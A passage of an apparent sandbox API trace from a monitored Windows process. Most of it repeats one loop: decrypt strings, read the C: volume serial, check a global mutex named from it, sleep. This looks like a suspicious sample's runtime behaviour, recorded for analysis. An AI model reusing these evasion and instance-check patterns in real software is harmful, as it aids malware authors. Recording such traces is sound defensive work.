lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0039.714] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0039.714] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0039.714] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0039.714] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0039.714] CryptDestroyKey (hKey=0xd727b8) returned 1 [0039.714] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0039.714] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0039.714] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0039.715] CloseHandle (hObject=0x2c0) returned 1 [0039.715] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0039.715] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0039.715] Sleep (dwMilliseconds=0x3e8) [0040.780] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0040.780] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0040.780] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0040.780] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0040.780] CryptDestroyKey (hKey=0xd727b8) returned 1 [0040.780] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0040.780] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0040.780] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0040.780] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0040.781] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0040.781] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0040.781] CryptDestroyKey (hKey=0xd727b8) returned 1 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0040.781] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0040.781] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0040.781] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0040.781] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0040.781] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0040.781] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0040.781] CryptDestroyKey (hKey=0xd727b8) returned 1 [0040.781] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0040.781] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0040.781] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0040.781] CloseHandle (hObject=0x2c0) returned 1 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0040.781] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0040.781] Sleep (dwMilliseconds=0x3e8) [0042.924] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0042.924] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0042.924] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0042.924] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0042.925] CryptDestroyKey (hKey=0xd727b8) returned 1 [0042.925] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0042.925] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0042.925] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0042.925] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0042.925] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0042.925] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0042.925] CryptDestroyKey (hKey=0xd727b8) returned 1 [0042.925] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0042.925] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0042.925] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0042.925] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0042.925] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.925] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0042.925] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0042.925] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0042.925] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0042.925] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0042.926] CryptDestroyKey (hKey=0xd727b8) returned 1 [0042.926] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0042.926] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0042.926] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0042.926] CloseHandle (hObject=0x2c0) returned 1 [0042.926] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0042.926] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0042.926] Sleep (dwMilliseconds=0x3e8) [0044.251] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0044.251] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0044.252] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0044.252] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0044.252] CryptDestroyKey (hKey=0xd727b8) returned 1 [0044.252] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0044.252] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0044.252] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0044.252] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0044.252] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0044.252] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0044.252] CryptDestroyKey (hKey=0xd727b8) returned 1 [0044.252] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0044.252] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.252] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0044.252] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0044.252] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.252] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0044.252] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0044.252] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0044.252] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0044.252] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0044.252] CryptDestroyKey (hKey=0xd727b8) returned 1 [0044.252] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0044.252] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0044.252] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0044.252] CloseHandle (hObject=0x2c0) returned 1 [0044.252] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0044.253] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0044.253] Sleep (dwMilliseconds=0x3e8) [0045.490] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0045.490] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0045.490] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0045.490] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0045.490] CryptDestroyKey (hKey=0xd727b8) returned 1 [0045.490] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0045.490] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0045.490] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0045.490] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0045.490] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0045.490] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0045.490] CryptDestroyKey (hKey=0xd727b8) returned 1 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0045.491] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0045.491] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0045.491] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0045.491] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0045.491] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0045.491] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0045.491] CryptDestroyKey (hKey=0xd727b8) returned 1 [0045.491] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0045.491] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0045.491] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0045.491] CloseHandle (hObject=0x2c0) returned 1 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0045.491] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0045.491] Sleep (dwMilliseconds=0x3e8) [0046.807] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0046.807] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0046.807] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0046.807] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0046.807] CryptDestroyKey (hKey=0xd727b8) returned 1 [0046.807] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0046.807] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0046.807] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0046.807] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0046.807] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0046.807] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0046.807] CryptDestroyKey (hKey=0xd727b8) returned 1 [0046.807] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0046.807] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.807] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0046.807] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0046.807] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.807] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0046.807] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0046.807] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0046.808] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0046.808] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0046.808] CryptDestroyKey (hKey=0xd727b8) returned 1 [0046.808] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0046.808] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0046.808] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0046.808] CloseHandle (hObject=0x2c0) returned 1 [0046.808] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0046.808] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0046.808] Sleep (dwMilliseconds=0x3e8) [0047.951] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0047.951] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0047.951] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0047.951] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0047.951] CryptDestroyKey (hKey=0xd727b8) returned 1 [0047.951] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0047.951] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0047.951] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0047.951] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0047.951] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0047.951] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0047.951] CryptDestroyKey (hKey=0xd727b8) returned 1 [0047.951] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0047.951] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x29610b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0047.951] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610e0 | out: hHeap=0x2960000) returned 1 [0047.951] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0047.951] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a6fb3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a6fb3c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.951] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610b8 | out: hHeap=0x2960000) returned 1 [0047.951] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x40) returned 0x2961090 [0047.952] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fac8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fb30 | out: phKey=0x2a6fb30*=0xd727b8) returned 1 [0047.952] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fb18, dwFlags=0x0) returned 1 [0047.952] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fae4 | out: pbData=0x2961090, pdwDataLen=0x2a6fae4) returned 1 [0047.952] CryptDestroyKey (hKey=0xd727b8) returned 1 [0047.952] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x34) returned 0x29610d8 [0047.952] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x2c0 [0047.952] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0047.952] CloseHandle (hObject=0x2c0) returned 1 [0047.952] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x2961090 | out: hHeap=0x2960000) returned 1 [0047.952] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x29610d8 | out: hHeap=0x2960000) returned 1 [0047.952] Sleep (dwMilliseconds=0x3e8) [0049.244] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x20) returned 0x2961090 [0049.244] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa94, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fafc | out: phKey=0x2a6fafc*=0xd727b8) returned 1 [0049.244] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fae4, dwFlags=0x0) returned 1 [0049.244] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2961090, pdwDataLen=0x2a6fab0 | out: pbData=0x2961090, pdwDataLen=0x2a6fab0) returned 1 [0049.244] CryptDestroyKey (hKey=0xd727b8) returned 1 [0049.244] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x8, Size=0x1e) returned 0x29610b8 [0049.244] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x1e) returned 0x29610e0 [0049.244] RtlAllocateHeap (HeapHandle=0x2960000, Flags=0x0, Size=0x90) returned 0x296abb8 [0049.244] CryptImportKey (in: hProv=0xd64968, pbData=0x2a6fa6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a6fad4 | out: phKey=0x2a6fad4*=0xd727b8) returned 1 [0049.244] CryptSetKeyParam (hKey=0xd727b8, dwParam=0x1, pbData=0x2a6fabc, dwFlags=0x0) returned 1 [0049.244] CryptDecrypt (in: hKey=0xd727b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x296abb8, pdwDataLen=0x2a6fa88 | out: pbData=0x296abb8, pdwDataLen=0x2a6fa88) returned 1 [0049.244] CryptDestroyKey (hKey=0xd727b8) returned 1 [0049.244] HeapFree (in: hHeap=0x2960000, dwFlags=0x0, lpMem=0x296abb8 | out: hHeap=0x2960000) returned 1 [0049.244] 